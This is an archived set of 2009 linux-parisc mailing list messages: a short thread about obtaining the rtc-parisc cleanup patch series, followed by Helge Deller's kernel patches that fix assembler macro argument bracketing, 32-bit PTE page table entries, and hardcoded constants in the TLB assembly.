Message-ID: <20090116124730.7a870434.akpm@linux-foundation.org>
References: <cover.1231983598.git.dannf@hp.com>
	<20090116010633.60c3b87d@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232138912 12863 80.91.229.12 (16 Jan 2009 20:48:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 Jan 2009 20:48:32 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, dannf@hp.com,
	linux-parisc@vger.kernel.org, lkml@vger.kernel.org,
	kyle@mcmartin.ca
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 21:49:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNvdI-0007Wy-8o
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 21:49:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754116AbZAPUsR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Jan 2009 15:48:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754626AbZAPUsR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 16 Jan 2009 15:48:17 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:59523 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754116AbZAPUsQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Jan 2009 15:48:16 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n0GKlUar002128
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 16 Jan 2009 12:47:31 -0800
Original-Received: from akpm.corp.google.com (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id n0GKlUrO016241;
	Fri, 16 Jan 2009 12:47:30 -0800
In-Reply-To: <20090116010633.60c3b87d@i1501.lan.towertech.it>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.20; i486-pc-linux-gnu)
X-Spam-Status: No, hits=-3.423 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1201
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1201>

On Fri, 16 Jan 2009 01:06:33 +0100
Alessandro Zummo <alessandro.zummo@towertech.it> wrote:

> On Thu, 15 Jan 2009 16:46:47 -0700
> dann frazier <dannf@hp.com> wrote:
> 
> > I recently submitted an rtc-efi driver having used rtc-parisc as a
> > template. I received several suggestions from Alessandro Zummo and
> > Andrew Morton that also apply to rtc-parisc. This series merges the
> > relevant changes back into the rtc-parisc driver.
> 
>  Acked-by: Alessandro Zummo <a.zummo@towertech.it>
> 
>  on the whole series. Thank you Dann!
> 

I don't have a copy of these patches anywhere.

Whoever cc'ed "lkml@vger.kernel.org", please slap thyself!
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [rtc-linux] [PATCH 0/9] rtc-parisc cleanup
Date: Sat, 17 Jan 2009 02:10:26 +0100
Organization: Tower Technologies
Lines: 26
Approved: news@gmane.org
Message-ID: <20090117021026.72f7203c@i1501.lan.towertech.it>
References: <cover.1231983598.git.dannf@hp.com>
	<20090116010633.60c3b87d@i1501.lan.towertech.it>
	<20090116124730.7a870434.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232154641 25607 80.91.229.12 (17 Jan 2009 01:10:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 17 Jan 2009 01:10:41 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, dannf@hp.com,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 17 02:11:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNzj4-0000su-4D
	for glpp-linux-parisc@gmane.org; Sat, 17 Jan 2009 02:11:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753738AbZAQBKa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Jan 2009 20:10:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754100AbZAQBKa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 16 Jan 2009 20:10:30 -0500
Original-Received: from mx0.towertech.it ([213.215.222.73]:51919 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753738AbZAQBKa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Jan 2009 20:10:30 -0500
Original-Received: (qmail 10865 invoked from network); 17 Jan 2009 02:10:27 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 17 Jan 2009 02:10:27 +0100
In-Reply-To: <20090116124730.7a870434.akpm@linux-foundation.org>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1202
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1202>

On Fri, 16 Jan 2009 12:47:30 -0800
Andrew Morton <akpm@linux-foundation.org> wrote:

> 
> I don't have a copy of these patches anywhere.
> 
> Whoever cc'ed "lkml@vger.kernel.org", please slap thyself!

 Here's the series in mbox format
 http://patchwork.ozlabs.org/user/bundle/74/mbox/


-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [rtc-linux] [PATCH 0/9] rtc-parisc cleanup
Date: Fri, 16 Jan 2009 17:49:03 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <20090116174903.4681e023.akpm@linux-foundation.org>
References: <cover.1231983598.git.dannf@hp.com>
	<20090116010633.60c3b87d@i1501.lan.towertech.it>
	<20090116124730.7a870434.akpm@linux-foundation.org>
	<20090117021026.72f7203c@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232157010 30398 80.91.229.12 (17 Jan 2009 01:50:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 17 Jan 2009 01:50:10 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, dannf@hp.com,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 17 02:51:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LO0L9-0001Fi-2O
	for glpp-linux-parisc@gmane.org; Sat, 17 Jan 2009 02:51:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750785AbZAQBtv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Jan 2009 20:49:51 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754681AbZAQBtv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 16 Jan 2009 20:49:51 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:39322 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750785AbZAQBtu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Jan 2009 20:49:50 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n0H1n4uJ027406
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 16 Jan 2009 17:49:05 -0800
Original-Received: from y.localdomain (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id n0H1n3be015613;
	Fri, 16 Jan 2009 17:49:03 -0800
In-Reply-To: <20090117021026.72f7203c@i1501.lan.towertech.it>
X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.5; x86_64-redhat-linux-gnu)
X-Spam-Status: No, hits=-3.424 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1203
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1203>

On Sat, 17 Jan 2009 02:10:26 +0100 Alessandro Zummo <alessandro.zummo@towertech.it> wrote:

> On Fri, 16 Jan 2009 12:47:30 -0800
> Andrew Morton <akpm@linux-foundation.org> wrote:
> 
> > 
> > I don't have a copy of these patches anywhere.
> > 
> > Whoever cc'ed "lkml@vger.kernel.org", please slap thyself!
> 
>  Here's the series in mbox format
>  http://patchwork.ozlabs.org/user/bundle/74/mbox/
> 

<fiddles around for a while, eventually gets them>

From: dann frazier <dannf@hp.com>
Subject: [1/9] Add a missing include for linux/rtc.h
Date: Thu, 15 Jan 2009 13:46:48 -0000

That's a bit awkward - if I do a reply-to-all with review comments, it
goes privately.

Obviously I can manually fix that up in this case, but...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add braces around arguments in assembler macros
Date: Sun, 18 Jan 2009 18:13:53 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <49736351.5050201@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232298855 15046 80.91.229.12 (18 Jan 2009 17:14:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 18 Jan 2009 17:14:15 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 18 18:15:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LObF8-0004Kc-Fz
	for glpp-linux-parisc@gmane.org; Sun, 18 Jan 2009 18:15:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934131AbZARROD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 Jan 2009 12:14:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934153AbZARROC
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 18 Jan 2009 12:14:02 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:36923 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S934130AbZARRN7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 Jan 2009 12:13:59 -0500
Original-Received: (qmail invoked by alias); 18 Jan 2009 17:13:56 -0000
Original-Received: from mnhm-590f75d2.pool.einsundeins.de (EHLO halden.box) [89.15.117.210]
  by mail.gmx.net (mp016) with SMTP; 18 Jan 2009 18:13:56 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+PYtRVQxKP0njRwCMhBZgeCLW34KL2eCXVS4pcWG
	g4im0Cq7AQNgKx
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1204
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1204>

Add braces around the macro arguments, else for example
"shl %r1, 5-3, %r2" would not expand to what you would assume.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/assembly.h b/arch/parisc/include/asm/assembly.h
index ffb2088..ab7cc37 100644
--- a/arch/parisc/include/asm/assembly.h
+++ b/arch/parisc/include/asm/assembly.h
@@ -129,27 +129,27 @@
 
 	/* Shift Left - note the r and t can NOT be the same! */
 	.macro shl r, sa, t
-	dep,z	\r, 31-\sa, 32-\sa, \t
+	dep,z	\r, 31-(\sa), 32-(\sa), \t
 	.endm
 
 	/* The PA 2.0 shift left */
 	.macro shlw r, sa, t
-	depw,z	\r, 31-\sa, 32-\sa, \t
+	depw,z	\r, 31-(\sa), 32-(\sa), \t
 	.endm
 
 	/* And the PA 2.0W shift left */
 	.macro shld r, sa, t
-	depd,z	\r, 63-\sa, 64-\sa, \t
+	depd,z	\r, 63-(\sa), 64-(\sa), \t
 	.endm
 
 	/* Shift Right - note the r and t can NOT be the same! */
 	.macro shr r, sa, t
-	extru \r, 31-\sa, 32-\sa, \t
+	extru \r, 31-(\sa), 32-(\sa), \t
 	.endm
 
 	/* pa20w version of shift right */
 	.macro shrd r, sa, t
-	extrd,u \r, 63-\sa, 64-\sa, \t
+	extrd,u \r, 63-(\sa), 64-(\sa), \t
 	.endm
 
 	/* load 32-bit 'value' into 'reg' compensating for the ldil
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index d1fa4ed..19d5749 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -368,7 +368,7 @@
 	 * abstractions for the macros */
 	.macro		EXTR	reg1,start,length,reg2
 #ifdef CONFIG_64BIT
-	extrd,u		\reg1,32+\start,\length,\reg2
+	extrd,u		\reg1,32+(\start),\length,\reg2
 #else
 	extrw,u		\reg1,\start,\length,\reg2
 #endif
@@ -376,7 +376,7 @@
 
 	.macro		DEP	reg1,start,length,reg2
 #ifdef CONFIG_64BIT
-	depd		\reg1,32+\start,\length,\reg2
+	depd		\reg1,32+(\start),\length,\reg2
 #else
 	depw		\reg1,\start,\length,\reg2
 #endif
@@ -384,7 +384,7 @@
 
 	.macro		DEPI	val,start,length,reg
 #ifdef CONFIG_64BIT
-	depdi		\val,32+\start,\length,\reg
+	depdi		\val,32+(\start),\length,\reg
 #else
 	depwi		\val,\start,\length,\reg
 #endif
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix usage of 32bit PTE page table entries on 32bit
 kernels
Date: Sun, 18 Jan 2009 19:16:16 +0100
Lines: 121
Approved: news@gmane.org
Message-ID: <497371F0.1040505@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232302595 27594 80.91.229.12 (18 Jan 2009 18:16:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 18 Jan 2009 18:16:35 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 18 19:17:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LOcDS-0008ST-HR
	for glpp-linux-parisc@gmane.org; Sun, 18 Jan 2009 19:17:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756254AbZARSQ0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 Jan 2009 13:16:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757442AbZARSQ0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 18 Jan 2009 13:16:26 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:47833 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756254AbZARSQZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 Jan 2009 13:16:25 -0500
Original-Received: (qmail invoked by alias); 18 Jan 2009 18:16:19 -0000
Original-Received: from mnhm-590f75d2.pool.einsundeins.de (EHLO halden.box) [89.15.117.210]
  by mail.gmx.net (mp026) with SMTP; 18 Jan 2009 19:16:19 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/5IBJ9riz5gAz6GGY4vsMA856xs9GWREd/lxhETD
	5kAKlAZCMdKYoa
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.42
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1205
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1205>

This patch fixes a long outstanding bug on 32bit parisc linux kernels
which prevented us from using 32bit PTE table entries (instead of 64bit
entries of which 32bit were unused).

The problem was caused by this assembler statement in the L2_ptep
macro in arch/parisc/kernel/entry.S:447:
	EXTR \va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index 
which expanded to 
	extrw,u r8,9,11,r1
and which has undefined behavior since the length value (11) extends 
beyond the leftmost bit (11-1 > 9).
Interestingly PA2.0 processors seem to don't care and just zero-extend
the value, while PA1.1 processors don't.

Fix this problem by detecting an address space overflow with ASM_BITS_PER_PGD
and adjusting it accordingly. To prevent such problems in the future, 
some compile time sanity checks in arch/parisc/mm/init.c were added.

Since the page table now only consumes half of it's old size, we can
use the freed memory to harmonize 32- and 64bit kernels and let both
map 16MB for the initial page table.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index c3941f0..7bc5125 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -36,16 +36,7 @@ void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
  */
 #define STRICT_MM_TYPECHECKS
 #ifdef STRICT_MM_TYPECHECKS
-typedef struct { unsigned long pte;
-#if !defined(CONFIG_64BIT)
-                 unsigned long future_flags;
- /* XXX: it's possible to remove future_flags and change BITS_PER_PTE_ENTRY
-	 to 2, but then strangely the identical 32bit kernel boots on a
-	 c3000(pa20), but not any longer on a 715(pa11).
-	 Still investigating... HelgeD.
-  */
-#endif
-} pte_t; /* either 32 or 64bit */
+typedef struct { unsigned long pte; } pte_t; /* either 32 or 64bit */
 
 /* NOTE: even on 64 bits, these entries are __u32 because we allocate
  * the pmd and pgd in ZONE_DMA (i.e. under 4GB) */
@@ -111,7 +102,7 @@ extern int npmem_ranges;
 #define BITS_PER_PMD_ENTRY	2
 #define BITS_PER_PGD_ENTRY	2
 #else
-#define BITS_PER_PTE_ENTRY	3
+#define BITS_PER_PTE_ENTRY	2
 #define BITS_PER_PMD_ENTRY	2
 #define BITS_PER_PGD_ENTRY	BITS_PER_PMD_ENTRY
 #endif
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 470a4b8..a27d2e2 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -50,11 +50,7 @@
 	printk("%s:%d: bad pgd %08lx.\n", __FILE__, __LINE__, (unsigned long)pgd_val(e))
 
 /* This is the size of the initially mapped kernel memory */
-#ifdef CONFIG_64BIT
 #define KERNEL_INITIAL_ORDER	24	/* 0 to 1<<24 = 16MB */
-#else
-#define KERNEL_INITIAL_ORDER	23	/* 0 to 1<<23 = 8MB */
-#endif
 #define KERNEL_INITIAL_SIZE	(1 << KERNEL_INITIAL_ORDER)
 
 #if defined(CONFIG_64BIT) && defined(CONFIG_PARISC_PAGE_SIZE_4KB)
@@ -91,16 +87,25 @@
 
 /* Definitions for 1st level */
 #define PGDIR_SHIFT	(PMD_SHIFT + BITS_PER_PMD)
+#if (PGDIR_SHIFT + PAGE_SHIFT + PGD_ORDER - BITS_PER_PGD_ENTRY) > BITS_PER_LONG
+#define BITS_PER_PGD	(BITS_PER_LONG - PGDIR_SHIFT)
+#else
 #define BITS_PER_PGD	(PAGE_SHIFT + PGD_ORDER - BITS_PER_PGD_ENTRY)
+#endif
 #define PGDIR_SIZE	(1UL << PGDIR_SHIFT)
 #define PGDIR_MASK	(~(PGDIR_SIZE-1))
 #define PTRS_PER_PGD    (1UL << BITS_PER_PGD)
 #define USER_PTRS_PER_PGD       PTRS_PER_PGD
 
+#ifdef CONFIG_64BIT
 #define MAX_ADDRBITS	(PGDIR_SHIFT + BITS_PER_PGD)
 #define MAX_ADDRESS	(1UL << MAX_ADDRBITS)
-
 #define SPACEID_SHIFT	(MAX_ADDRBITS - 32)
+#else
+#define MAX_ADDRBITS	(BITS_PER_LONG)
+#define MAX_ADDRESS	(1UL << MAX_ADDRBITS)
+#define SPACEID_SHIFT	0
+#endif
 
 /* This calculates the number of initial pages we need for the initial
  * page tables */
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 7c155c2..88b52d8 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -458,6 +458,13 @@ void __init mem_init(void)
 {
 	int codesize, reservedpages, datasize, initsize;
 
+	/* Do sanity checks on page table constants */
+	BUILD_BUG_ON(PTE_ENTRY_SIZE != sizeof(pte_t));
+	BUILD_BUG_ON(PMD_ENTRY_SIZE != sizeof(pmd_t));
+	BUILD_BUG_ON(PGD_ENTRY_SIZE != sizeof(pgd_t));
+	BUILD_BUG_ON(PAGE_SHIFT + BITS_PER_PTE + BITS_PER_PMD + BITS_PER_PGD
+			> BITS_PER_LONG);
+
 	high_memory = __va((max_pfn << PAGE_SHIFT));
 
 #ifndef CONFIG_DISCONTIGMEM
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: use constants instead of numbers in assembly
Date: Sun, 18 Jan 2009 19:30:18 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <4973753A.3000707@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232303446 30506 80.91.229.12 (18 Jan 2009 18:30:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 18 Jan 2009 18:30:46 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 18 19:31:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LOcRC-0004Zv-8M
	for glpp-linux-parisc@gmane.org; Sun, 18 Jan 2009 19:31:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1765350AbZARSa2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 Jan 2009 13:30:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933526AbZARSa2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 18 Jan 2009 13:30:28 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:40932 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1765350AbZARSa1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 Jan 2009 13:30:27 -0500
Original-Received: (qmail invoked by alias); 18 Jan 2009 18:30:24 -0000
Original-Received: from mnhm-590f75d2.pool.einsundeins.de (EHLO halden.box) [89.15.117.210]
  by mail.gmx.net (mp071) with SMTP; 18 Jan 2009 19:30:24 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18B/Cw2Hw4BoCEl58Y7Ul60Dj2NatmULCCv612qW2
	GlayiK8TJeam87
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1206
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1206>

A few small fixups:
* _PAGE_SIZE_ENCODING_DEFAULT is wrong here, as one might assume that
  it's possible to define the page size that way. This is wrong. Use 0 instead.
* use constants instead of hardcoded numerical values in depi and extru
  while building the PFN out of the pte entry
* use SHRREG instead of extru (iitlba expects the PFN at bits {7..26})

Still wondering why we can use the same register (pte) as extru source
and target register, but it seems to work on PA1.1 and PA2.0...

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index d1fa4ed..19d5749 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -563,8 +563,8 @@
 
 	/* Get rid of prot bits and convert to page addr for iitlba */
 
-	depi		_PAGE_SIZE_ENCODING_DEFAULT,31,ASM_PFN_PTE_SHIFT,\pte
-	extru		\pte,24,25,\pte
+	depi		0,31,ASM_PFN_PTE_SHIFT,\pte
+	SHRREG		\pte,(ASM_PFN_PTE_SHIFT-(31-26)),\pte
 	.endm
 
 	/* This is for ILP32 PA2.0 only.  The TLB insertion needs
@@ -1337,8 +1337,8 @@ nadtlb_check_flush_11:
 
 	/* Get rid of prot bits and convert to page addr for idtlba */
 
